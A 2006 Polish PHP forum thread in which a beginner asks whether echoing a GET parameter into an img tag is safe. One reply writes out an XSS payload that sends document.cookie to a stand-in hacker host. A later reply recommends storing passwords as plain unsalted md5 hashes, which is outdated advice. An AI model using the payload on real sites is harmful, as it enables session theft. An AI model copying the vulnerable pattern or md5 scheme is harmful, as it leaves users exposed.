Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

 
Reply to this topicStart new topic
> Bezpieczeństwo.., Kod bezpieczny?
lol666
post
Post #1





Grupa: Zarejestrowani
Postów: 6
Pomógł: 0
Dołączył: 14.08.2006

Ostrzeżenie: (0%)
-----


Pytam się na wszelki wypadek.

  1. <?php
  2. echo '<img src="' . $_GET['adres'] . '">';
  3. ?>


Są jakieś inne metody umieszczania grafik w php?
Z góry dzięki.
Go to the top of the page
+Quote Post
nazihipi
post
Post #2





Grupa: Zarejestrowani
Postów: 139
Pomógł: 0
Dołączył: 14.07.2006

Ostrzeżenie: (10%)
X----


nie jest bezpieczny

Temat: Bezpieczenstwo skryptow php
Go to the top of the page
+Quote Post
My4tic
post
Post #3





Grupa: Zarejestrowani
Postów: 260
Pomógł: 0
Dołączył: 4.08.2005

Ostrzeżenie: (0%)
-----


No jak bedziesz to robił tak jak napisałes to na pewno nie bedzie to bezpieczne. Filtruj dane pobierane od usera takimi funkcjami jak http://pl2.php.net/manual/pl/function.strip-tags.php" title="Zobacz w manualu php" target="_manual. Poza tym możesz wprowadzić limit długości, sprawdzac rozszerzenie... możliwości jest sporo.


--------------------
Załóż konto na dropbox.
Go to the top of the page
+Quote Post
lol666
post
Post #4





Grupa: Zarejestrowani
Postów: 6
Pomógł: 0
Dołączył: 14.08.2006

Ostrzeżenie: (0%)
-----


Mam jeszcze pare pytań:

1. o co chodzi z tym /etc/passwd

2. Apropo mojego kodu nie rozumiem jak ktoś miałby zagrozić mojemy skryptowi lub serwerowi (sry jestem zielony w php). Podajcie może jakiś przykład.

Dzięki za wszelkie porady happy.gif Pozdro z nad morza

Maks

Ten post edytował lol666 23.08.2006, 23:11:50
Go to the top of the page
+Quote Post
nasty
post
Post #5





Grupa: Zarejestrowani
Postów: 634
Pomógł: 14
Dołączył: 27.05.2006
Skąd: Berlin

Ostrzeżenie: (0%)
-----


Cytat
o co chodzi z tym /etc/passwd

chodzi o to ze to bylo nie bezpiczny plik, i sporo wlamow bylo robionych po odczytaniu hasla z niego (brute-force) ale to jakies 10 lat temu winksmiley.jpg
Go to the top of the page
+Quote Post
nazihipi
post
Post #6





Grupa: Zarejestrowani
Postów: 139
Pomógł: 0
Dołączył: 14.07.2006

Ostrzeżenie: (10%)
X----


Cytat
2. Apropo mojego kodu nie rozumiem jak ktoś miałby zagrozić mojemy skryptowi (sry jestem zielony w php). Podajcie może jakiś przykład.



  1. http://www.twojastrona.pl/index.php?adres=dupa_admina.jpg

  1. <?php
  2. echo '<img src="' . $_GET['adres'] . '">';
  3. ?>

output:
  1. <img src='dupa_admina.jpg'>

a co najgorsze można próbować ataków, polegających na wrzucaniu fragmentów kodu php, które namieszają

pozytaj w manualu
Go to the top of the page
+Quote Post
Cysiaczek
post
Post #7





Grupa: Moderatorzy
Postów: 4 465
Pomógł: 137
Dołączył: 26.03.2004
Skąd: Gorzów Wlkp.




/etc/passwd to plik zawierający hasła (zwykle kodowane) użytkowników serwera (w domyślnej konfiguracji). Podstawy Linuxa laugh.gif

Ktoś może Ci po prostu wpisać w url ścieżkę do tego pliku i ewentualnie coś jeszcze przydkiego porobić. tongue.gif

Pozdrawiam.


--------------------
To think for yourself you must question authority and
learn how to put yourself in a state of vulnerable, open-mindedness;
chaotic, confused, vulnerability, to inform yourself.
Think for yourself. Question authority.
Go to the top of the page
+Quote Post
dr_bonzo
post
Post #8





Grupa: Przyjaciele php.pl
Postów: 5 724
Pomógł: 259
Dołączył: 13.04.2004
Skąd: N/A

Ostrzeżenie: (0%)
-----


Cytat
2. Apropo mojego kodu nie rozumiem jak ktoś miałby zagrozić mojemy skryptowi (sry jestem zielony w php). Podajcie może jakiś przykład.


  1. <?php
  2. echo '<img src="' . $_GET['adres'] . '">';
  3. ?>


index.php?adres="><script>document.location='http://www.strona-hackera.com/cgi-bin/cookie.cgi? '%20+document.cookie</script>

cos w tym stylu -- czyli haker (cracker -- no niewazne) pobierze wartosc naszego ciacha sesyjnego, co moze mu pozwolic zalogowac sie na nasze konto bez znajomosci hasla.

Przyklad stad: http://www.cgisecurity.com/articles/xss-faq.shtml


index.php?adres="http://server.hackera.com/cookie_harvester.php?


--------------------
Nie lubię jednorożców.
Go to the top of the page
+Quote Post
lol666
post
Post #9





Grupa: Zarejestrowani
Postów: 6
Pomógł: 0
Dołączył: 14.08.2006

Ostrzeżenie: (0%)
-----


JEZU :exclamation: SAMOZAGŁADA!

Dobra kontynuuje pytania:

Wiem że algorytm z dziedziny kryptografii... (http://pl.wikipedia.org/wiki/MD5), ale jakie jest jego praktyczne zastosowanie w php?
Go to the top of the page
+Quote Post
kszychu
post
Post #10





Grupa: Przyjaciele php.pl
Postów: 2 712
Pomógł: 23
Dołączył: 27.10.2003
Skąd: z kontowni

Ostrzeżenie: (0%)
-----


Cytat(Cysiaczek @ 24.08.2006, 00:18 ) *
/etc/passwd to plik zawierający hasła (zwykle kodowane) użytkowników serwera (w domyślnej konfiguracji). Podstawy Linuxa laugh.gif

Głupoty pleciesz. /etc/passwd nie zawiera żadnych haseł, ale i tak nie wskazane jest, by ktoś obcy poznał jego zawartość.

@lol666: praktyczne zastosowanie md5 w php (wszędzie indziej z resztą też) to przede wszystkim kodowanie haseł, sumy kontolne plików i pewnie inne jeszcze. Ja używam głównie do tego.


--------------------
"Coś się kończy, coś się zaczyna." Andrzej Sapkowski
Go to the top of the page
+Quote Post
Ja_Szczur
post
Post #11





Grupa: Zarejestrowani
Postów: 115
Pomógł: 0
Dołączył: 4.12.2005
Skąd: Strzyżów

Ostrzeżenie: (0%)
-----


np. przechowywanie haseł w bazie

przy rejestracji:
  1. <?php
  2. zapisz_usera( $_POST['nick'] , md5( $_POST['pass'] ) , $_POST['email'] );
  3. ?>


przy logowaniu:
  1. <?php
  2. if( md5( $_POST['pass'] ) == $haslo_z_bazy_shashowane_md5 )
  3.  // zalogowany
  4. else
  5.  // złe hasło!
  6. ?>


takie hasło ma zawsze 32 znaki
no i jest mała szansa na powtórzenie takiego hash'a


--------------------
"No bo z fasolą to człowiek przynajmniej wie, na czym stoi..."
Pomniejsze bóstwa, Terry Pratchett

php :*
Go to the top of the page
+Quote Post

Reply to this topicStart new topic
1 Użytkowników czyta ten temat (1 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Aktualny czas: 21.08.2025 - 15:40